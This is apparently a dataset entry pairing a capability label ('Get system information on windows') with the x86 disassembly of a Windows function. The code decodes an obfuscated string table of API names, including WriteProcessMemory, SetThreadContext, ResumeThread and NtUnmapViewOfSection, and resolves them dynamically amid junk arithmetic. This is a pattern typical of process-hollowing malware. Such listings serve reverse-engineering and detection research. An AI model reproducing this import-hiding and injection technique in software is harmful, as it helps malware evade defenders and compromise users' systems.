Function at 0x401210
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xec
mov dword [ebp - 0x30], 7
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x60], 9
lea ecx, [ebp - 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x409d20]
cdq
mov ecx, 0xf
idiv ecx
mov eax, dword [0x409a84]
imul eax, edx
mov dword [0x409d20], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x64], eax
mov eax, dword [0x409a84]
xor edx, edx
mov ecx, 0x3d
div ecx
mov eax, dword [0x409d20]
sub eax, 0x14
imul edx, eax
mov dword [0x409d20], edx
mov dword [ebp - 0x38], 0
mov dword [ebp - 4], 0x39
push 0x4072c4
push str.zicplcj10_bjjzEcrNpma_bbpcqqzJm_bJg_p_pw_zlrbjj_bjjzuglglcr_bjjzmjc10_bjjzqfcjj10_bjjzEcrKmbsjcF_lbjc_zUpgrcNpmacqqKckmpwzApc_rcNpmacqqUzQcrRfpc_bAmlrcvrzEcrRfpc_bAmlrcvrzPcqskcRfpc_bzDglbPcqmspac_zJm_bPcqmspaczQgxcmdPcqmspaczTgprs_j_jjmaCvzLrSlk_nTgcuMdQcargmlzAmlrglscBc_seCtclrzU_grDmpBc_seCtclrzPc_bNpmacqqKckmpwzApc_rcRmmjfcjn10Ql_nqfmrzKmbsjc10DgpqrzMsrnsrBc_seQrpgle_zAjmqcF_lbjczCvgrNpmacqqzEcrAsppclrNpmacqqzApc_rcRfpc_bzU_grDmpQglejcM_hcarzQcrDgjc_rrpg_srcqUzEjm__jDpcczEjm__j_jjmazQcrSlf_lbjcbCvacnrgmlDgjrcpzKsjrg_wrcRmUgbcAf_pzQFEcrQncag_jDmjbcpN_rfUzAmGlgrg_jgxczAmApc_rcGlqr_laczjqrpanwUzjqrpa_rUzEcrKmbsjcDgjcL_kcU
call fcn.00402314
add esp, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x34], 0xe
cmp dword [ebp - 8], 0
je 0x40190a
mov dword [ebp - 0xa4], 1
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x7c], 0xb
cmp dword [ebp - 0x38], 8
jne 0x4012eb
call fcn.004010c0
mov edx, dword [ebp - 8]
push edx
mov eax, dword [0x409748]
push eax
call dword [0x409b00]
mov dword [0x409a94], eax
mov eax, dword [0x409d20]
cdq
mov ecx, 0x59
idiv ecx
mov dword [0x409a84], eax
cmp dword [ebp - 0x38], 0xb
jne 0x401318
mov edx, dword [ebp - 8]
push edx
mov eax, dword [0x409748]
push eax
call dword [0x409b00]
mov dword [0x409aec], eax
mov eax, dword [0x409a84]
xor edx, edx
mov ecx, 0x21
div ecx
mov eax, dword [0x409d20]
sub eax, 0x50
imul edx, eax
mov dword [0x409d20], edx
cmp dword [ebp - 0x38], 0x23
jne 0x401353
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x409a9c]
push edx
call dword [0x409b00]
mov dword [0x40976c], eax
mov dword [ebp - 0xe4], 0x13
cmp dword [ebp - 0x38], 5
jne 0x401372
mov eax, dword [ebp - 8]
push eax
call dword [0x409a8c]
mov dword [0x409a88], eax
mov dword [ebp - 0x74], 0x249
cmp dword [ebp - 0x38], 0x22
jne 0x401395
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x409748]
push edx
call dword [0x409b00]
mov dword [0x409d28], eax
mov eax, dword [0x409d20]
cdq
mov ecx, 0x4a
idiv ecx
mov dword [0x409a84], eax
cmp dword [ebp - 0x38], 6
jne 0x4013bc
mov edx, dword [ebp - 8]
push edx
call dword [0x409a8c]
mov dword [0x409a70], eax
mov dword [ebp - 0xd4], 2
cmp dword [ebp - 0x38], 4
jne 0x4013db
mov eax, dword [ebp - 8]
push eax
call dword [0x409a8c]
mov dword [0x409a6c], eax
mov dword [ebp - 0xcc], 3
cmp dword [ebp - 0x38], 3
jne 0x401401
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x409748]
push edx
call dword [0x409b00]
mov dword [0x409a8c], eax
mov dword [ebp - 0xc4], 4
cmp dword [ebp - 0x38], 0xe
jne 0x401427
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x409748]
push ecx
call dword [0x409b00]
mov dword [0x409774], eax
mov dword [ebp - 0x70], 1
cmp dword [ebp - 0x38], 0x14
jne 0x401449
mov edx, dword [ebp - 8]
push edx
mov eax, dword [0x409748]
push eax
call dword [0x409b00]
mov dword [0x409af0], eax
mov dword [ebp - 0xb8], 0x57
cmp dword [ebp - 0x38], 0x17
jne 0x40146f
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x409748]
push edx
call dword [0x409b00]
mov dword [0x409d24], eax
mov dword [ebp - 0x94], 0x78
cmp dword [ebp - 0x38], 0x26
jne 0x401495
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x409748]
push ecx
call dword [0x409b00]
mov dword [0x409768], eax
mov dword [ebp - 0x84], 0x40
cmp dword [ebp - 0x38], 0xf
jne 0x4014ba
mov edx, dword [ebp - 8]
push edx
mov eax, dword [0x409748]
push eax
call dword [0x409b00]
mov dword [0x409d34], eax
mov dword [ebp - 0x90], 0x57
cmp dword [ebp - 0x38], 0x13
jne 0x4014e0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x409748]
push edx
call dword [0x409b00]
mov dword [0x409a64], eax
mov dword [ebp - 0xdc], 0x87
cmp dword [ebp - 0x38], 0x1b
jne 0x401506
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x409748]
push ecx
call dword [0x409b00]
mov dword [0x409d2c], eax
mov dword [ebp - 0xb4], 2
cmp dword [ebp - 0x38], 0x25
jne 0x40152b
mov edx, dword [ebp - 8]
push edx
mov eax, dword [0x409a70]
push eax
call dword [0x409b00]
mov dword [0x409a5c], eax
mov dword [ebp - 0xd0], 0x1d
cmp dword [ebp - 0x38], 0x1d
jne 0x401551
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x409748]
push edx
call dword [0x409b00]
mov dword [0x409d3c], eax
mov dword [ebp - 0xc8], 0x738
cmp dword [ebp - 0x38], 0x1e
jne 0x401577
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x409748]
push ecx
call dword [0x409b00]
mov dword [0x409a7c], eax
mov dword [ebp - 0x80], 1
cmp dword [ebp - 0x38], 0x19
jne 0x401599
mov edx, dword [ebp - 8]
push edx
mov eax, dword [0x409748]
push eax
call dword [0x409b00]
mov dword [0x409af4], eax
mov dword [ebp - 0xb0], 0x1fd4
cmp dword [ebp - 0x38], 0x15
jne 0x4015bf
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x409748]
push edx
call dword [0x409b00]
mov dword [0x409a58], eax
mov dword [ebp - 0xc0], 0x27
cmp dword [ebp - 0x38], 0x24
jne 0x4015e5
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x409a70]
push ecx
call dword [0x409b00]
mov dword [0x409b10], eax
mov dword [ebp - 0xd8], 0x61
cmp dword [ebp - 0x38], 0xa
jne 0x40160a
mov edx, dword [ebp - 8]
push edx
mov eax, dword [0x409748]
push eax
call dword [0x409b00]
mov dword [0x409b0c], eax
mov dword [ebp - 0xa0], 0x62
cmp dword [ebp - 0x38], 0xc
jne 0x401630
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x409748]
push edx
call dword [0x409b00]
mov dword [0x409a68], eax
mov dword [ebp - 0x88], 3
cmp dword [ebp - 0x38], 2
jne 0x401656
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x409748]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x409b00], eax
mov dword [ebp - 0xac], 0x19
cmp dword [ebp - 0x38], 9
jne 0x40167b
mov edx, dword [ebp - 8]
push edx
mov eax, dword [0x409748]
push eax
call dword [0x409b00]
mov dword [0x409b04], eax
mov eax, dword [0x409d20]
cdq
mov ecx, 0x21
idiv ecx
mov dword [0x409a84], eax
cmp dword [ebp - 0x38], 0x20
jne 0x4016a8
mov edx, dword [ebp - 8]
push edx
mov eax, dword [0x409748]
push eax
call dword [0x409b00]
mov dword [0x409b14], eax
mov dword [ebp - 0xec], 0x78
cmp dword [ebp - 0x38], 0x11
jne 0x4016ce
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x409748]
push edx
call dword [0x409b00]
mov dword [0x409770], eax
mov dword [ebp - 0x78], 2
cmp dword [ebp - 0x38], 0xd
jne 0x4016f1
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x409748]
push ecx
call dword [0x409b00]
mov dword [0x409aa0], eax
mov dword [ebp - 0x8c], 0x2b
cmp dword [ebp - 0x38], 0x12
jne 0x401716
mov edx, dword [ebp - 8]
push edx
mov eax, dword [0x409a6c]
push eax
call dword [0x409b00]
mov dword [0x409a60], eax
mov dword [ebp - 0x9c], 2
cmp dword [ebp - 0x38], 0x1a
jne 0x40173c
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x409748]
push edx
call dword [0x409b00]
mov dword [0x409a74], eax
mov dword [ebp - 0xe0], 0x56
cmp dword [ebp - 0x38], 0x10
jne 0x401762
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x409748]
push ecx
call dword [0x409b00]
mov dword [0x409af8], eax
mov eax, dword [0x409a84]
xor edx, edx
mov ecx, 0x1f
div ecx
mov eax, dword [0x409d20]
add eax, edx
mov dword [0x409a84], eax
cmp dword [ebp - 0x38], 0x1f
jne 0x401798
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x409748]
push edx
call dword [0x409b00]
mov dword [0x409d40], eax
mov dword [ebp - 0x6c], 0xc6e
cmp dword [ebp - 0x38], 0x1c
jne 0x4017bb
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x409748]
push ecx
call dword [0x409b00]
mov dword [0x409afc], eax
mov eax, dword [0x409a84]
xor edx, edx
mov ecx, 0x38
div ecx
mov eax, dword [0x409d20]
add eax, edx
mov dword [0x409a84], eax
cmp dword [ebp - 0x38], 0x27
jne 0x4017f1
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x409748]
push edx
call dword [0x409b00]
mov dword [0x409a90], eax
mov dword [ebp - 0xe8], 2
cmp dword [ebp - 0x38], 0x18
jne 0x401817
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x409748]
push ecx
call dword [0x409b00]
mov dword [0x409a80], eax
mov dword [ebp - 0x98], 0x3b
cmp dword [ebp - 0x38], 7
jne 0x401836
mov edx, dword [ebp - 8]
push edx
call dword [0x409a8c]
mov dword [0x409a9c], eax
mov dword [ebp - 0xa8], 0x76
cmp dword [ebp - 0x38], 0x21
jne 0x40185c
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x409748]
push ecx
call dword [0x409b00]
mov dword [0x409780], eax
mov eax, dword [0x409a84]
xor edx, edx
mov ecx, 0x3f
div ecx
mov eax, dword [0x409d20]
sub eax, 3
imul edx, eax
mov dword [0x409d20], edx
cmp dword [ebp - 0x38], 0x28
jne 0x401897
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x409748]
push edx
call dword [0x409b00]
mov dword [0x409a54], eax
mov dword [ebp - 0xbc], 0x1289
cmp dword [ebp - 0x38], 1
jne 0x4018b6
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x409748], eax
mov dword [ebp - 0x68], 0x4b
cmp dword [ebp - 0x38], 0x16
jne 0x4018d9
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [0x409748]
push edx
call dword [0x409b00]
mov dword [0x409a98], eax
mov eax, dword [0x409a84]
xor edx, edx
mov ecx, 0x4b
div ecx
mov eax, dword [0x409d20]
add eax, edx
mov dword [0x409a84], eax
push 0x4072c4
push 0
call fcn.00402314
add esp, 8
mov dword [ebp - 8], eax
jmp 0x4012a7
xor eax, eax
mov esp, ebp
pop ebp
ret